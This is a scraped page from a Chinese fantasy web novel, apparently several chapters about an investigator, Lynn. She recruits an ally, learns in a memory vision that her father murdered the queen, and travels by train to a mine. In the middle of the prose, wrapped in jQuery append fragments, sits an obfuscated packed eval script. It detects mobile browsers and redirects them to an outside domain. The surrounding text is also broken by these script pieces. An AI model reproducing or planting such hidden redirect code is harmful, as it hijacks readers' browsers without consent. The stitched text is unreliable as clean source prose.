$(''#content'').append('' 。 “好香啊,您应该去开一家餐馆。” “多谢捧场。” 林恩笑了一声,从煮锅里沥出细长的面条,卷成顺滑的一团摆在瓷盘中央,又在表面淋上满满的橙红色肉酱,附上一枚罗勒叶作为点缀。 午餐开始。 “简直是太美味了。” 温蒂呼噜呼噜吃着,一边鼓掌感叹林恩的好手艺。 “这简直是世界上最好吃的东西!” 面对如此夸张的赞扬,林恩失笑。 她拿起叉子,慢吞吞地吃光面条,又黄油烤制的面包片把盘子上的肉酱擦拭干净,一并丢进嘴里。 “是真的。你怎么这么会做饭!” 温蒂睁大眼睛,“审查官的工作,难道不是很忙碌吗?” 林恩撒了谎:“我从小就会做,因为我的父亲在库兹公司打工,我只能自己养活自己。” “我父亲是阿尔卡迪亚大学的教授,他雇用了一名保姆照顾我。” 温蒂说着,从锅里盛上第二碗面条。 “只不过,他雇用的保姆会虐待我,我从小就没好好吃过饭,这才导致我长大之后这么馋。” “就像对待孤儿院里的孩子一样?”布莱尔·德里特问道。 她说的,是前几年的一桩案子:碎金城郊外的彩虹孤儿院里,照料者在孤儿们的食物里投入大量安眠药,强迫他们不发出噪音,最终损坏了8岁以下的所有孩子的智力。 “也没那么差,起码没有在我的热牛奶里加过安眠药。”温蒂笑着辩解,“所以,我很幸运没有变成一个蠢蛋。” 她吃饭的时候,已经吃饱的林恩顺手拿起桌面上的木盒。 “这是我订购的机械甲虫?” “没错。”温蒂的嘴巴里还有食物,因此声音含糊不清。 “在使用遥控功能的时候,需要投入瓦斯能源,就是最常见的那一种。如果不需要操控,使用方法与之前给你的机械蜘蛛也类似,通过发条与弹簧进行预先路线的设计。” 太神奇了。 林恩爱不释手地把玩这个小拇指甲盖大小的“机械甲虫”,脑子里瞬间蹦出一个绝佳的名字。 “我叫它回声一号吧。” 温蒂一脸嫌弃:“怎么还给这些东西取名字?而且一号是几个意思?还有后面的二三四五吗?” “我永远对未来充满期待。” “……”温蒂一脸鄙夷地放下刀叉,“你先给我把尾款的1000个金塔拉付掉吧,为了你这个东西,我偷偷潜入学校差点还被安保员逮到!” 林恩爽快地掏出另一只牛皮钱包,数了九张100面额的钞票递了过来。 剩下的100金塔拉,则变回了十张10面额的。 “对了,我给这东西还写了一份说明书,你一定得先阅读。” 温蒂把钱收进口袋,拍了拍脑袋,立刻起身冲进书房。 很快,她就拿了一本牛皮本出来。 “你这个窃听甲虫——” “回声一号。” 温蒂翻了个白眼,“你的回声一号不能沾水,因此也不适用于下雨的室外。同时,在环境昏暗的地方,它的遥控表现也很差。” 林恩听进去了: 这也就意味着,在矿洞的深处,其实她最好不要远程使用这样的窃听设备。 “那我就提前祝您调查顺利了,亨特审查官。” 48. “助手”确认 与温蒂·奇塔和布莱尔·德里特二人道别之后,林恩怀揣着机械蜘蛛与回声一号乘坐上高架缆车,返回桔梗街的公寓。 她有预感,这次或许有很长时间,都没有办法和亲爱的发明家见面。 从洋湾区车站步行至桔梗街的路上,林恩路过了无数伶俐的报童,却没有看到莉亚的身影。 这个小姑娘不知道胡乱蹿到什么地方了。 关于莉亚的去向,林恩也很是忧心: 无父无母、没有其他亲人的小女孩,如果不是自己,那大概会前往孤儿院。 但事实已经证明,孤儿院不是个好地方。 一直让白琳帮忙照看也并不现实。 或许,还是得找一家寄宿学校,让她读几个月的书。 一边思索着,林恩一边转弯,拐过拥有报刊亭的街角。 身后忽然有人在喊自己的名字。 她回过头,却见出租马车的窗户上探出一颗金色的脑袋。 “亨特!” 圆圆的脑袋长了张喧闹的嘴,声音几乎可以贯穿整条街道。 “我的老天,你可小点声吧。” 林恩赶紧示意他闭嘴,一边小心地环视四周,果不其然看到一双双八卦的眼神。 出租马车在林恩面前停了下来。 莱亚·古德温付清车费之后,直接跳下马车,随后与林恩并肩走着,面孔难掩戏谑。 “听说你前几天受伤了?有人暗杀你?” 林恩睨他:“多谢关心。” 莱亚哼笑了一声,“您还真有些本领,竟然能逃得过暗杀,但愿您下一次也同样好运。” “……” 林恩停下脚步,“听上去可不像是祝福,反倒像诅咒。” 莱亚摊了摊手,“不敢,只不过这些人总是这些伎俩——先用低级的杀手探路,再逐渐加码。” 林恩敏锐地意识到了什么,蹙眉看着莱亚。 “你认识杀手?你知道是谁杀我的,是吗?” “你在异想天开什么?”莱亚荒唐地睁大眼睛,“我怎么可能认识他们?” “看上去你对他们的动向了如指掌,这很难不让人怀疑。” 莱亚看着林恩,目光中透着一股来自智商的蔑视。 “我不需要认识他们,这种事情已经发生过很多起了,我亲爱的审查官大人。” 这倒也是。 林恩接受了这个说法,又讪讪地收回视线。 她的确不是第一例。 但莱亚提醒的不错,或许还会有下一次暗杀。 在那之前,她必须做好万全准备才行! 东拉西扯了一通后,莱亚才勉强开始言归正传。 “说起来,您让波尔审查官向我提出邀请?让我跟你一起去绯通亚矿场调查?” “是的。” “调查爆炸案?” “小点声。”林恩拽了把莱亚的袖子,又谨慎地环顾四周。 自从知道有“回溯”信徒之后,她开始变得格外小心。 ——毕竟玛丽亚·通古拉就是因“回溯”信徒而死。 林恩带着莱亚拐了个弯,就近进入开放式公园。 喷泉从青铜鱼嘴里溅出,在空气里形成一道彩虹。 水声足够吵闹,即便离得很近,也彼此听不清晰:这反而让林恩感觉安全。 “我主动请求你的帮助的,古德温上校。” 林恩并不拐弯抹角。 虽然不确定莱亚·古德温是否可信,但是目前来看,他是最有用的助手,并且他有足够的动机能够“背叛”神学院。 林恩顾不上这么多。 暗杀的危机就在眼前,铡刀已经悬在她的喉咙上,她必须冒点险。 莱亚垂下眼睑,似乎在盘算这笔买卖。 “七级神殿的事情,你有眉目吗?” “有的,上校。” 莱亚轻轻笑了,“审查官小姐,您该不会忘了,我的异能是谎言鉴别吧?” 坏了。 林恩僵硬了一瞬,却并没有为自己的谎言而羞愧。 她想了想,干脆换了个说法。 “我保证会在我们前往绯通亚矿场的第一天,告知你七级神殿的相关情况。” “真是个划算的交易。” 莱亚摩挲着手杖,“似乎我只有答应你这一条路了,不是吗?” 光是从他的语气里,林恩其实分辨不出莱亚的情绪。 但她明确地知道,完全不能得罪莱亚:毕竟,拥有谎言识别的,并不是林恩而是莱亚。 “说说看吧,爆炸案是什么情况?为什么需要前往绯通亚矿场?” 这事瞒不了莱亚。 林恩一五一十地说了出来:“亨利·朗的死亡,与绯通亚矿场的异种生物有关。并且,有人怀疑他是刻意将致命的异种生物带来碎金城的。” 听到异种生物这几个字,莱亚蹙紧了眉头。 “王国将异种生物视为禁忌,你们真的要调查下去吗?” “是的。” 林恩笃定地点头,“亨利·朗绝对不可能孤军奋战。如果证明了是工党在捣鬼,或许可以给他们一击重创。” “这一切,和你有什么关系呢?” “和我无关,但是和首席审查官有关。” 林恩道,“国民卫队是个很难混下去的地方,为了保全我自己,所以迫不得已找棵大树依附,这事顺理成章的事情。” 她找的“大树”就是阿曼达·德·波尔。 为此,她需要迫不得已做一些“脏活”。 莱亚无法指摘林恩的做法。 他在某种程度上,和林恩作出一模一样的选择。 只不过,他的结局很一般。 “我不足以成为教训吗?一旦成了黑手套,就永远只能是黑手套了,审查官小姐。” 这句话,莱亚说的真情实意。 林恩找了木质长椅坐了下来,目光透过喷泉看向远处。 她忽然有些疲倦。 “希望有一天我可以完全脱离这里。” “嗯?” 林恩笑了一声,“在康纳利审查官去世、我们从飞艇坠落之后,我萌生了当一回逃兵的打算。但是,我的飞艇驾驶员跟我说,如果做了逃兵,或许会被王国通缉。” 说着,她重复了一遍艾迪·穆德的原话: “没有人能够逃脱得了国民卫队的通缉,即便是未注册的信徒之一、‘神枪手’埃略卡也不例外。” 莱亚张了张嘴,却吐不出一个字。 他分明知道艾迪心怀不轨,却因为詹姆斯·威利斯的“博学者”异能的限制而无法说出口。 詹姆斯·威利斯设置了一条“定律”,让莱亚无法透露神学院的秘密。 过了很久,他才想到合适的 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“我最近真的要死了!我就像是农场的奶牛,异能马上就要被榨干了!” 一边说着,她一边苦闷地拧开门把手,一把拽住林恩的胳膊。 “陪我喝点酒!” “哦。” 林恩正愁没机会登堂入室:她必须要尽快找出七级神殿的地址,否则莱亚·古德温那边搪塞不过去。 “前几天白教堂的事情,国王发了好大一通脾气,下令追查来着。” 白琳“啵”一声打开白葡萄酒的软木塞,又转身从柜子里找出两个水晶杯。 “结果这两天出了□□事件,她瞬间没心情关注白教堂袭击了。” “这件事我也听说了。” 白琳:“如果□□危机持续蔓延,那么王国的经济一定会出现大问题,甚至可能威胁到国王的统治。” 说完这句话,她的表情更显得忧心忡忡。 “哎,偏偏我前几日的每月占卜出了意外。”她唉声叹气,“我卜出王国出现危机了。” 林恩心一沉。 “什么样子的危机?” “不清楚。”白琳摇头,“我虽然是七级信徒,但占卜之力也是刚刚才获得的。总之,卜出来的那些画面,所有精神正常的人都无法相信。” 林恩追问:“什么画面?” “唔,天地都是变形的、所有的线条都是扭曲的,就像是喝醉酒的画面。”白琳把酒杯递了过来,又端出火腿。“我描述不出来,但我很肯定那不是真实存在的画面。” 白琳向来不会在这种事情上撒谎。 林恩点点头,低头啜了一口白葡萄酒。 “啊,我差点忘记了。” 白琳拍了拍脑袋,赤足跑进卧室,“我药忘记喝了。” “你生病了?” 白琳的声音闷闷的,伴随着一阵翻箱倒柜的搜寻声。 “没有,是找我的精神安抚剂,回复一下精神力。” 林恩点头,目光忽然落在沙发上。 白琳的短手杖,正安安静静地躺在角落。 这是个千载难逢的好机会! 林恩立刻拿起手杖,使用“记忆宫殿”。 49. 真相大白 白琳喝完药剂、走出房间后,林恩已神色如常地放下手杖,端起酒杯凝视着透明发黄的酒液。 “你喝得好快!”她抱怨着,一边丢了颗莓果进嘴。 “说起来,最近我有一件忧心的事情。”林恩说,“碎金城里有靠谱的寄宿学校吗?我在思考莉亚的去向。” “我替你看着呗?”白琳不以为意,“就是一小丫头,没什么好担心的。” “但你很忙。” 林恩收回视线,只吐出这几个字。 她绝不是嫌弃白琳的意思,而是不愿过多麻烦她。 白琳没有反驳。 她清楚,短期的照看并不是难事,但倘若变成长期照料,那么她需要背负着更多压力。 “或许……可以找找收养人?” “也行。” 林恩甩了甩脑袋,“不过一时间也找不到——算了,等莉亚回来,我问问她的看法吧。” 白琳笑了,“我总有种预感,莉亚会成为你的好帮手。” 她叹了口气,“若非我现在精神力严重受损,否则一定会给你们卜一次。” “算了,她只是个孩子。” 林恩仰面躺在地毯上,睡眼朦胧地盯着天花板,“我现在真是积攒了好多事情,一件都没做完。” 亨利·朗的异种生物。 还有国王的血色九月真相。 本以为从玛丽亚·通古拉那里能获得线索,哪晓得完全碰壁: 就连王后的贴身内务官都不清楚,林恩要从哪里得知呢?! 忧心的事情着实太多,让林恩忍不住叹了一口大气。 白琳侧目看她: “不用担心,你会成为举国著名的人物的。我在‘那一天’已经看到了。” “哪一天?” “你被国民卫队抓走的那一天。”白琳给自己倒上第二杯酒,“我从未来看到了,碎金城里的所有人都在念你的名字,从东区到多罗区,遍地都是。你会成为伟人,林恩。” 林恩哑然失笑,“有没有可能,我如果是臭名昭著的坏人,也会是一样的结果?” 白琳用微醺的脑袋想了想:“也有可能。” 她趴在沙发上,目不转睛地看着林恩,眼球因醉酒而泛红。 “真期待那一天啊,林恩。” 还没等林恩回话,门忽然被敲响。 门外站着莉亚,双手抱着一只略显巨大的蜜瓜。 “亨特小姐,您回来啦!” 看到林恩,莉亚相当兴奋,立刻丢下手里的蜜瓜,冲进林恩的怀里。 “您还会离开吗?” 林恩:“呃……” 她想撒谎,但谎言似乎立刻就会被戳穿。 白琳乐了,从地上捡起蜜瓜,洗干净后抱到菜板上,又漫不经心地说道,“不仅要走,还要走好几个月呢。” “啊?” 莉亚的笑脸一下子垂丧起来,细眉拧成一团,“好吧。” 白琳的刀“咔嚓”一声破开饱满多汁的蜜瓜,甜腻的汁水顺着刀尖淌了下来。 是成熟的甜蜜气味。 “别苦着脸了,小孩子家家的。” 白琳把切成块的黄色蜜瓜塞进莉亚嘴里,“又不是不回来,担心什么!” 也是。 莉亚点点头,重新眉开眼笑起来。 三人的聚餐直到半夜才结束。 白琳已经彻底醉倒,趴在床上呼呼大睡;莉亚也困得眼皮打架。 林恩把莉亚抱回房间后,又重新返回白琳家。她贴心地将毛巾打湿,帮忙擦拭着酒鬼滚烫的面颊。 “林恩。”白琳躺在床上,把眼睛睁开一条缝,胳膊环住林恩的脖子,“我好高兴。” 林恩猝不及防地被她拽了一把,踉踉跄跄地跌在软乎的床垫上。 她不得不安抚酒鬼:“我也很高兴。” 白琳摇头,呼吸间是氤氲的蜜瓜味。“不,你不知道我的意思。” 她叹了口气,用手揉了揉眼珠,“我真的希望我能看到……” “看到什么?” “没什么。”白琳闭上嘴,露出一个浅笑,“我好困呐。” 算了。 林恩本就没把酒鬼的话当回事。 她站起身,将湿毛巾晾晒好,又帮她把灯关掉。 在世界陷入寂静时,林恩与她道别: “晚安,白琳。” == 翌日一早,林恩还在睡梦里,阿曼达的学徒就已敲打起她的家门,硬生生把她唤醒。 “审查官,前往绯通亚矿场的火车票已经订好了。” 趁着林恩起床气尚未爆发,学徒抢先开口。 “特等座?” 林恩看到了车票,嘴角逐渐上扬。“还挺大方的嘛。” “当然,你们得在火车上待两整天呢!” 林恩随口问道:“我们?除了我还有谁?” “除了您之外还有古德温上校。哦对了,以及国民卫队的驾驶员艾迪·穆德。” 学徒回答。 听到艾迪的名字,林恩觉得自己瞬间清醒了。 她蹙起眉头,没好气地问道,“为什么艾迪·穆德也在?他就没有一点别的事情吗?” “因为铁恩郡刚好有一架飞艇需要驾驶回碎金城维修,因此需要一名驾驶员。” 学徒歪了歪头,“您不希望穆德去吗?” “少曲解我了。”林恩翻了个白眼,却又觉得自己情绪外露得厉害,只得默默收下了车票。 发车时间就是明天。 甚至没有给她准备什么缓冲期。 “首席审查官说,您有任何情况都可以联系她。这里是两只机械信鸽,您先收好。” 学徒把手提箱递了过来。 “为了以防万一,她请您每一周都汇报一次,不管有没有新发现。” “哦。” 学徒临走之前,还特意提醒:“还有,首席审查官说,您可以完全信任绯通亚矿场2号矿坑的负责人亚瑟·艾伯特先生,有什么要紧的疑问可以询问他。” “我明白了,感谢您。” 林恩打了个呵欠,“明天早晨八点,我会准时到达布德林车站的。” 学徒摇头。 “明早我会与您的学徒伍德一道来桔梗街接您。” “哦,也行。” 林恩耸肩,对此没什么异议,内心甚至闪过一丝省马车钱的窃喜。 等到送走阿曼达的学徒,林恩总算意识到自己得开始准备了。 最重要的事情莫过于收拾行李。 光是想想,她就觉得头疼无比。 没有天气预报,也没有行程指南,林恩完全不清楚绯通亚矿场的气候,也就无法得知该携带什么样的衣物前往。 不管怎么说,林恩还是将衣柜和抽屉都敞开,一边随意挑挑拣拣。 她的手放在一件沙黄色衬衣上,随后缓慢抽出的瞬间,夹在衣服里的金属物品坠落,重重地砸在地板上,瞬间吸引了林恩的注意。 什么东西? 她俯下身,在床底发现了黄铜色的金属块。 ——这是父亲的勋章?! 当初,林恩就是靠这样东西才顺利地见到了康纳利审查官,并最终被他收为学徒的。 林恩捡了起来,小心地用手帕擦拭上面的灰尘与指纹,指尖划过精致的玫瑰浮雕,又扫过弗兰·亨特的名字。 自从理查德四世上台,国民卫队的勋章就没有继续发放,已经逐渐变成历史的遗产。 望着这枚勋章,林恩忽然有一丝意料之外的眼熟。 ——她好像最近才看到过! 但是……是在哪里呢? 林恩叹了口气: 【使用记忆宫殿。】 …… 弗兰·亨特从机械信鸽手中收到了来自首席审查官的信笺,上面只有几个大字: 【速至浅湖宫。】 这行字相当潦草,让弗兰·亨特多少有些怀疑首席的动机。 但他并不敢违抗命令。 碎金城的这个夜晚有着平日里完全不曾拥有的死寂。 街灯都熄灭了,沿街的住户也纷纷将窗帘拉严,并不敢窥探外界。世界上唯一的灯光就来自弗兰·亨特的机械马,照亮脚下一平米的光亮。 从国民卫队到浅湖宫,即便机械马的速度再慢,十余分钟也就到了。 弗兰·亨特望着重兵把守的宫门,立即从马上翻身而下。 他摘下胸口的金色勋章,“我是国民卫队……” “我懂你是谁。” 理查德伯爵的守卫说道,把弗兰·亨特上下打量了一番,又检查了他的武器。 在收缴了蒸汽火/枪之后,他终于放行。 “机械马不能进去,审查官,您亲自走进去吧。”他摸弄着弗兰·亨特的武器,一边漫不经心地回。 在弗兰的目光里,守卫又慢吞吞地把蒸汽火/枪别在自己腰间。 这是占为己有的意思了。 弗兰·亨特并不打算与他起争执。 他点点头,顺应了守卫的意思,将机械马停泊在宫墙之外,踩着昏暗的夜色进入浅湖宫。 绕过湖泊,浅湖宫的主体建筑终于出现。 透过门洞内的灯光,弗兰·亨特看见鲜红色血液染湿了洁白的大理石台阶。 他的心顿时一沉。 首席审查官在后门等待已久。 一看见弗兰·亨特,他就立刻大步迈过来,一手抓住弗兰的袖子。 “你赶紧去楼上找一找玛格丽特公主,她似乎丢了。” 只是……这么点小事吗? 弗兰在心底画上问号,但到底没有问出口。 “还有,理查德伯爵跟我说,安妮王后已经怀有身孕,让我务必要……”首席没有继续说下去,只把手横在脖子上,作出个割喉的动作。 “你是个聪明人,弗兰,我相信你会干得很漂亮的。” “我来做吗?” 首席笑了,抹了把光亮的脑底,“当然,整个国民卫队,我只信任你。” 他帮着弗兰·亨特理了理衣领,细碎的威胁顺着呼吸传了出来。 “亨特,你应该知道自己该做什么吧?这可是我们的投名状。” 弗兰垂下眼睑。 “我的武器已经被守卫拿走了,首席。” “这里还能缺武器吗?”首席嘴角挂着讥讽,“刀、剑、匕首,死人的身上什么都有。快去吧,别再耽搁时间。” 弗兰·亨特被首席审查官推了一把,一个踉跄,便径直跌进浅湖宫内。 他刚刚站稳回头,就看见首席审查官临阵脱逃的背影,忍不住发出一声冷笑。 投名状…… 说得好听,实际上只是首席一个人的吧? 一边思考着,弗兰一边踏上台阶。 这是他第一次来到浅湖宫,尽管他对浅湖宫内的布局已经了如指掌。 第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508459|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼目的这样宏大、奢华的建筑,光是想象王室的富裕程度,就足以令他咋舌。 大理石雕塑出自大师洛夫莱斯之手。 这个对弗兰来说几乎是传说的人、在34岁英年早逝的人,作品竟然如普通摆件一样随意堆放着。 那些细腻至极的手法,那些大理石塑造的薄纱感,都令他着迷。 很快,弗兰的目光落在地面的阴影上。 影子……多了一块。 他缓步绕行至索尔沃神像背后,看到了一个年幼的女孩。 尽管只穿着朴素的白色睡裙,但她衣服上反射出丝绸独有的光辉,以及头发上别着的蓝宝石镶嵌发卡,足以证明她就是玛格丽特公主。 弗兰不想杀她。 既然公主已经失踪,那他其实根本没有必要对眼前的女孩下手。 宁错杀勿遗漏的教训,他向来不放在眼里。 “嘘。” 在玛格丽特公主哭泣之前,弗兰抢先一步捂住她的嘴。 “往下走,不要回头,知道吗?” 女孩点头。 “不要发出声音,也不要哭。” 弗兰瞥过眼,佯装看不见她逃跑的身影,“你不一定有第二次好运了,公主殿下。” 玛格丽特公主一个瞬息就跑远了。 弗兰·亨特只觉得她有过人的身体素质: 毕竟她还只有四五岁,能跑出这个速度,已经足够惊人了。 一边想着,他一边走上二层,目标是安妮王后的卧房。 相比起公主,王后的命运或许没有那么幸运了。 既然在理查德伯爵到来之前没能顺利逃出浅湖宫,那么现在逃离的可能性就更小了。 弗兰·亨特对理查德伯爵的性格略有耳闻,这是个锱铢必较的男人,拥有贵族的所有缺点,一时间无法清点完毕。 尽管只比菲利普国王小几岁,但直到现在,他都没有任何迎娶夫人的迹象。 似乎没有人愿意把女儿嫁给他。 不过,他一旦拥有了整个王国,弗兰想,那么举国上下有的是嫌贫爱富的人,想要求得他的垂怜。 弗兰望着走廊尽头的华贵桃花心木门,紧紧蹙起眉。 ——即便不是他,安妮王后也活不下去。 但是,非得由他来下手吗? 他咬了咬牙,还是往走廊深处走去。 推门的一瞬间,弗兰有些意外: 安妮王后正对着镜子梳理她金灿灿的秀发,见弗兰走进来,她反而勾起一个明媚的笑脸。 “来杀我的吗?” 她问。 弗兰垂下眼睑,尽量避开她血红的眸子。 大概是预知到自己的死亡,安妮王后的面孔中也透着灰败的死相,偏偏嘴唇涂上艳丽的大红色口红,有股奇异的妖冶。 安妮王后笑起来,“您都不敢看我,又怎么敢杀了我呢?” 说罢,她重新拿起象牙梳,却没有继续梳理,而是仰头看着斗柜。 弗兰顺着她的视线望了过去。 那是她的丈夫、已故的菲利普国王的画像;那时的菲利普还很年轻,身体也没有出现异样。 “这是国王殿下,您难道不行礼吗?” 弗兰皱了皱眉,并没有出言不逊,却也没有“行礼”。 “王后,我很希望不是我来干这件事,如果您有途径,大可以逃走。” 他直截了当地说道。 “太天真了。” 安妮王后抹了把泪,神志似乎恢复了少许,不再如刚才一般疯疯癫癫。 “我一旦活着,那我的孩子就活不下去了。” “您是说,您肚子里的?” 王后摇头,“我说的是小玛吉*,她是个伶俐的孩子,我相信她能够逃出去。只要我死了,我的小玛吉就安全了。” 弗兰抿了抿唇终究没有透露自己放走玛格丽特公主的事。 只不过“放走”了她,不代表公主不会遇到旁的危机。 “来吧,审查官,来杀掉我吧。”安妮王后指了指微微隆起的小腹,“这里有我的孩子,王国的继承人。您来吧。” 她站起身,手持黄金柄的华贵匕首,一点一点逼近。 最终,她把弗兰·亨特挤在墙角。 安妮王后亲手把匕首塞进弗兰·亨特的手里。 “求你,救我的小玛吉。” 她说,整个身体扑进弗兰·亨特手中。 血肉被钢铁戳破,发出“哧”一声近似漏气的声响。 安妮王后的胸口淌出血,软软地瘫倒在地毯上,血液蔓延在深红色的柔软地毯上,像是同色的献祭。 仅几个呼吸,她就没了气。 …… 林恩像是丢烫手山芋似的,把弗兰·亨特的国民卫队勋章丢到一边。 完蛋了。 她妈偷走了王室秘宝,她爸杀了王后。 她完蛋了。 这枚金光闪闪的、甚至被康纳利高看一眼的勋章上,曾经沾满了安妮王后温热的鲜血。 尽管“罪魁祸首”是理查德四世无疑,但刽子手弗兰·亨特不可能不被怪罪。 ——尽管他也曾放走过玛格丽特。 林恩崩溃地抓着头发,一边思考自己的“生路”。 她不能赌。 不能让玛格丽特国王来决定她的命运。 她得把自己的命攥在自己手里才行。 得这件事瞒下去! 林恩心想。 50. 绯通亚矿场(一) 林恩被塞上特等座车厢时,蒸汽列车距离发车时间已不足十分钟。 行李属实有些多:三个沉甸甸的硬牛皮手提箱、一只软手提袋,以及林恩常用的手提公文包。 光是运送这些行李,都需要两个助手。 不管怎么说,作为高贵的特等座乘客,这些行李无需林恩亲自动手搬运,她也就心安理得地轻装上阵。 “您到底带了多少东西!”莱亚·古德温放下报纸,目瞪口呆地盯着忙前忙后的列车员。 在他腿边,只有一只大号皮箱。 “我是去干正事的,上校。” 林恩笑眯眯地凑近,从口袋里掏出一张5金塔拉纸币,用食指与中指夹着,递到莱亚面前。 “喏,雇用您的工资。” 莱亚看着林恩:她不像在看玩笑。 只不过—— 5金币? 他就这么不值钱? “真不像话。” 莱亚嘟囔着,却还是伸出手,接过那张钞票。 在捏住钞票的一瞬间,他就意识到了不对劲: 在玛格丽特国王的肖像底下,压着一张叠得小小的字条。 这是…… 莱亚的目光落在林恩身上,随后了然: 这是“七级神殿”的地址! “谢谢你了。”莱亚面不改色地说着,一边把纸钞塞进口袋。 在窸窸窣窣的交谈中,蒸汽火车发出一声响亮的鸣笛。 车要开了。 林恩趴在窗口,远远凝视着碎金城东区的荒芜景色。 肉眼望去全是大烟囱,像是密密麻麻的钢铁丛林,有种令人窒息的压迫感。 烟囱里冒出的灰扑扑的烟尘,飘散在碎金城终日灰暗的天空里。 车门忽然开了。 林恩应声望去,只见一身素色外衣的艾迪·穆德苍白着面孔走来。 他的脚步一瘸一拐,看上去有些不适。 “早,审查官。” 看到林恩探究的目光,艾迪勾起唇,露出一个善意的微笑,随后道了声歉。 “昨天吃坏肚子了,所以今天起晚了些,实在抱歉。” “……我对你的私生活没有那么好奇。” 林恩懒懒地收回目光,一边抬了下巴,“特等座只有两个私人隔间,那你——” “我是一等座的,审查官。” 艾迪说着,一边从口袋里掏出车票,“我只是同你们打声招呼。” 听到这个消息,林恩扬了扬眉毛,在心里默默高兴: 起码不需要与艾迪朝夕相处,这是好事。 自从爆炸案重为搭档起,林恩就觉得此人像随时存在的人形监控,让她难受得很。 “对了,我这里有一份《王国地理》,或许您会需要。” 艾迪假装感受不到林恩的敌意,自顾自地在深红色牛皮沙发上坐下,一边从包里掏出一本厚厚的书。 “这一页开始,写的就是绯通亚矿场了。” 他贴心地塞了一枚玫瑰型的黄铜书签。 林恩翻看了一眼扉页,作者一栏是个相当陌生的人名。 “奥林·约翰内斯?” 她不禁念了出来。 艾迪:“是的,亨利三世赞助的冒险家,足迹踏遍了整个新阿尔卡迪亚大陆,我很喜欢他的书籍。” 很快,林恩就明白艾迪为什么会喜欢。 奥林的著作不仅内容详实,措辞也相当风趣。 【绯通亚矿场: 这是位于铁恩郡绯通亚镇的知名矿场,小镇因矿场得名、还是矿场因小镇得名,如今已经不可考。我们唯独知道的是,这座巨大的矿场曾经是高山。 这里总共有五个巨型矿坑,每年总共生产超过3万吨铜。 据说,就连飞艇都不能直接飞过矿洞上空:气流在这里集中,一股来自天空的力量会直接将飞艇压回地面。至于我为什么会这么清楚,读者们你们大概也能猜到。】 林恩阅读的工夫,莱亚与艾迪有一搭没一搭地聊着天,打发午餐之前的漫长时光。 莱亚依旧只对海洋感兴趣。 “奥林·约翰内斯似乎从国王那里拿了一笔丰厚的资金,率领船队出海了。” “是的,他航行了十年,最终返回碎金城。” 艾迪如数家珍,“那个时候,他已经病入膏肓。有人说,是他出海的时候惹怒了海底的神灵,因而降下疾厄。” “未免太荒谬了。” “没错,另一种说法来自他的船员,说约翰内斯在海上遇到了可怖的异种生物。尽管使用了迫击炮,却还是被异种生物重创,故而死亡。” 莱亚耸肩,“这个说法还有些道理。” “很少有人愿意相信异种生物,上校。”艾迪拧开水壶喝了一口,“可是我愿意相信。” 说话间,他隐秘地往林恩身上瞥了一眼。 莱亚漫不经心:“异种生物……除非亲眼所见,否则我没办法相信。” “除非有一天您也出海。”艾迪笑了,“约翰内斯遇到的是个相当庞大的异种生物,形如章鱼,拥有超过20条触须,每一条触须都有立柱那么粗,上面布满吸盘。” 莱亚蹙眉,光是想象到这个场景,就觉得有些恶心。 林恩暂停了阅读,抬起头看向艾迪。 这东西…… 为什么这么像她在晋升“八级信徒”时目睹的怪物?! 联想到当初的场景同样是海底,林恩只觉得蛛丝马迹都被连接起来。 她瞬间毛骨悚然。 她夹上书签,“你从哪里知道这个消息的?” 艾迪犹豫了一秒。 “从书上读到的,船员撰写的后记。” 倘若林恩和莱亚一样,拥有的是“谎言识别”的异能,那她就能立刻辨认出艾迪的谎言。 可惜她没有。 林恩“哦”了一声,又重新翻开书。 “您读到哪里了?”艾迪凑近。 “绯通亚矿场的气候。”林恩用指尖指着语句,逐字逐句地念了起来。 “冬季很漫长,且相当寒冷。通常从十月起,就会达到零下的低温,并逐步走低,因此一件保暖的外衣是很重要的。” 一边念着,她一边没了底气。 好像……她没准备什么像样的厚衣服? “没关系,绯通亚镇上可以购买。” 艾迪看出林恩的为难,贴心地提醒道,“只不过,您看后面会写,镇上的一切都是灰扑扑的。” 林恩翻了一页。 艾迪说的不错,这一页就有作者的贴心解释: 【请记住,虽然冬季常有大雪覆盖,但绯通亚矿场总弥漫着烟尘,因此雪同样肮脏,绝对不能食用! 连续十五天的净化药剂会让您记住这一点。】 列车倏忽间驶入隧道。 微弱的灯光亮 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莱亚就要说放弃的一瞬间,他听见了清脆的落子声。 灯重新亮起。 “唔——”艾迪深吸一口气,托着下巴紧紧盯着棋盘,方才属于莱亚的表情现在出现在他的身上。 “这一步很绝妙啊。” 他嘟囔着。 莱亚歪了歪头,看向但笑不语的林恩。 是她?! 他没有动过棋盘,艾迪不可能帮他下棋……那么只剩下林恩了! 想到这里,莱亚猛地收回视线,目光望向令艾迪困惑不已的棋盘,眼中露出惊疑: 艾迪竟一直露出一处死穴,他完全没注意,却被观棋的林恩捕捉到了! 这下,艾迪输定了。 莱亚心想着,目光游离出棋桌,看向一边的时钟。 “我认输。”艾迪苦笑,“您真是下了一步好棋。” “只不过是运气好。” 既然对方认输,莱亚决定见好就收。他一边收起棋子,一边看向推餐车的列车员,“该吃饭了。” 午餐是固定的搭配,一份菲力牛排配贝亚恩酱,奶酪焗蔬菜,以及足量的白面包配黄油。 “等我们到达绯通亚矿场之后,大概会很想念列车上的餐食。” 莱亚一边说着,一边摇了摇头。 艾迪问,“是不是只有查清□□的罪魁祸首才能回来?倘若□□工厂不在绯通亚矿场呢?” 嗯? 他在说什么? 林恩咀嚼着牛排,大脑迅速思索: 看样子,艾迪并不知道他们前往矿场的真实意图。 又或者,阿曼达审查官将他们包装成了专门“调查□□案”的小团队。 “我只需要跟首席禀报,至于结果如何,那是她处理的事情。” 林恩摊了摊手,做实了她混吃等死的形象。 “前往绯通亚矿场的补贴,与我平时的工资差不多高,我觉得很划算。” 艾迪笑了笑,似乎是接受了林恩的说辞。 不管他到底信没信,林恩也疲于继续解释。 她唯独好奇一件事: 艾迪·穆德为什么一定要跟过来? 他监视的,究竟是莱亚·古德温,还是她? 51. 绯通亚矿场(二) 